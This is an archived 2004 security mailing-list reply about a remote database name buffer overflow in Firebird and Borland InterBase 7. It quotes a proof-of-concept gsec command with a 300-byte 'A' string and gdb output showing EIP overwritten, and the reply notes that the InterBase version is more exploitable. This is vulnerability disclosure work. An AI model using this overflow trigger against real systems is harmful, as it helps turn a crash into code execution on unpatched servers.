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Message-ID: <200406031336.33787.noamr@beyondsecurity.com>
From: noamr at beyondsecurity.com (Noam Rathaus)
Subject: Re: Firebird [ AND Interbase 7 ]  Database Remote Database Name Overflow

On Thursday 03 June 2004 05:03, KF (lists) wrote:
> Someone that has had some success communicating things security wise to
> Borland may wish to contact them about this.
>
> [root@...neRiot bin]# rpm -ivh /root/InterBaseSS_LI-V7.1.0-1.i386.rpm
>
> [kf@...neRiot bin]$ pwd
> /opt/interbase/bin
> [kf@...neRiot bin]$ ./gsec -database 127.0.0.1:`perl -e'print ("A"x300)'`
>
> (gdb) c
> Continuing.
> [New Thread 1085279152 (LWP 21355)]
> [New Thread 1095769008 (LWP 21356)]
> [New Thread 1106258864 (LWP 21357)]
>
> Program received signal SIGSEGV, Segmentation fault.
> [Switching to Thread 1085279152 (LWP 21355)]
> 0x41414141 in ?? ()
> (gdb) bt
> #0  0x41414141 in ?? ()
> #1  0x41414141 in ?? ()
> #2  0x41414141 in ?? ()
> ...
> #35 0x41414141 in ?? ()
> #36 0x41414141 in ?? ()
> (gdb)
>
> (gdb) i r
> eax            0x0      0
> ecx            0x82025e4        136324580
> edx            0x0      0
> ebx            0x81fe29c        136307356
> esp            0x40aff5f8       0x40aff5f8
> ebp            0x41414141       0x41414141
> esi            0x12c    300
> edi            0x40affab8       1085274808
> eip            0x41414141       0x41414141
> eflags         0x10246  66118
>
> (gdb) x/1s $esp
> 0x40aff5f8:      'A' <repeats 144 times>
>
> [root@...neRiot interbase]# ./bin/ibserver
> Segmentation fault
> -KF
>
> Noam Rathaus wrote:
> >On Sunday 02 June 2002 01:52, KF (lists) wrote:
> >>So is this firebird specific or does it also impact Borland Interbase
> >>users?
> >>-KF
> >
> >We haven't tested Borland's Interbase as we didn't have any installation
> >available for testing. However I can assume that since this vulnerability
> >appears in version 1.0.2, which is of very close resemblance to Borland's
> >Interbase sources, that the vulnerability may also affect it.
Hi,

Well it appears that the Borland version is a bit more vulnerable, or in other 
words more exploitable, as in the Firebird I was unable to directly modify 
EIP, while it appears that the Borland version's EIP is easily modifyable.

Thank you for the assistance in verifying whether Borland's Interbase is also 
vulnerable.

-- 
Thanks
Noam Rathaus
CTO
Beyond Security Ltd.

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